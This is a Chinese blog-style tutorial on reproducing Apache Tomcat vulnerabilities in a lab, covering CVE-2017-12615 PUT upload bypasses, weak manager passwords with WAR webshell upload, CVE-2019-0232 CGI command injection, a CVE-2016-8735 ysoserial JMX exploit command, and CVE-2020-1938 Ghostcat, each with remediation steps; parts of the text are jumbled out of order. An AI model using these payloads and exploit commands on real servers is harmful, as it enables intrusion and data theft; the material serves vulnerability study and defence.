tomcat

4.tomcat篇
tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是
配置JSP(Java Server Page)和JAVA系统必备的一款环境。
目录介绍
|-- webapp # 站点根目录
|-- META-INF # META-INF 目录
| -- MANIFEST.MF # 配置清单文件 |-- WEB-INF # WEB-INF 目录 | |-- classes # class文件目录 | | |-- *.class # 程序需要的 class 文件 | | -- *.xml # 程序需要的 xml 文件
| |-- lib # 库文件夹
| | -- *.jar # 程序需要的 jar 包 | -- web.xml # Web应用程序的部署描述文件
|-- # 自定义的目录
|-- # 自定义的资源文件
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生
成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组
成应用的其它组件,以及应用初始化参数、安全管理约束等。

4.1 Tomcat 远程代码执行漏洞(CVE-2017-12615)
1.漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数
由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代
码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
2.漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产
生,(需要允许put请求)

在靶机上 cat web.xml | grep "readonly"
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19
文件下载 Releases · rebeyond/Behinder · GitHub
3.漏洞复现
拉取靶场 启动

readonly false 支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过 4.修复 1.设置 readonly未true PUT /shell.jsp%20 PUT /shell.jsp::$DATA PUT /shell.jsp/ **4.3 tomcat弱口令&war远程部署** 可以用msf 里的模块破解 1.漏洞原理 在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理 员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。 2.漏洞复现 输入账号和密码 tomcat 制作后门 打包zip改名成war即可 找到上传,选择waf上传 http://192.168.0.159:36497/manager/html 上传会自动解压 用客户端进行连接即可获取 ![](https://img2020.cnblogs.com/blog/2443336/202109/2443336-20210917112947928-104813155.png) ![](https://img2020.cnblogs.com/blog/2443336/202109/2443336-20210917113018098-1439014310.png)

3.漏洞修复
1.设置强口令
conf/tomcat-users.xml

<user username="tomcat" password="tomcat" roles="manager-gui,managerscript,manager-jmx,manager-status,admin-gui,admin-script" /
2.删除manger文件
http://192.168.0.159:36497/shell/shell.jsp

4.2 tomcat 远程代码执行(CVE-2019-0232)
1.漏洞描述
Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对
Servlet和JavaServer Page(JSP)的支持。
4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由
于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:

  1. 系统为Windows
  2. 启用了CGI Servlet(默认为关闭)
  3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
    2.影响范围
    Apache Tomcat 9.0.0.M1 to 9.0.17
    Apache Tomcat 8.5.0 to 8.5.39
    Apache Tomcat 7.0.0 to 7.0.93

3.漏洞复现
搭建tomcat后修改web.xml
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,
并配置enableCmdLineArguments和executable,如下:
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

cgi
org.apache.catalina.servlets.CGIServlet

debug
0


cgiPathPrefix
WEB-INF/cgi-bin


executable


5


cgi
/cgi-bin/*

然后修改在conf/context.xml中的添加privileged="true"语句
在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入
完成后访问 http://192.168.0.136:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\ne
t%20user
4.漏洞修复
受影响版本的用户应该应用下列其中一项缓解。升级到:

WEB-INF/web.xml
${catalina.base}/conf/web.xml

@echo off echo Content-Type: text/plain echo. set off=%~1 %off% Apache Tomcat 9.0.18或更高版本 Apache Tomcat 8.5.40或更高版本 Apache Tomcat 7.0.93或更高版本

4.4 tomcat反序列化漏洞(cve-2016-8735)
1.漏洞描述
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由
于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及
时修复更新而导致 的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
2.影响范围
漏洞影响版本:
ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47
3.漏洞复现
利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执
行。
conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口:
修改bin\catalina.bat
在Execute The Requested Comman上面添加
-Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
-Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证
允许 startup.bat tomcat 查看端口

set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -
Dcom.sun.management.jmxremote.authenticate=false
执行命令
执行弹窗计算器
4.漏洞修复:
1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进
行网络访问控制。同时,增加严格的认证方式。
2、根据官方去升级更新相对应的版本。
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001
Groovy1 "calc.exe"
4.5 Apache Tomcat文件包含漏洞CVE-2020-1938)
1.漏洞描述
Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的
Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat
上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
2.影响版本
3.漏洞复现
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另
外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,
prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而
可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任
何文件。
使用攻击payload执行即可
https://github.com/xindongzhuaizhuai/CVE-2020-1938
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
-->

python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168 4.漏洞修复 1.更新到安全版本 Apache Tomcat 7.0.100 Apache Tomcat 8.5.51 Apache Tomcat 9.0.31 https://tomcat.apache.org/download-70.cgi https://tomcat.apache.org/download-80.cgi https://tomcat.apache.org/download-90.cgi 或Github下载:https://github.com/apache/tomcat/releases 2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉 3、配置ajp配置中的secretRequired跟secret属性来限制认证
posted @ 2021-09-16 22:47  mingyepf  阅读(227)  评论(0)    收藏  举报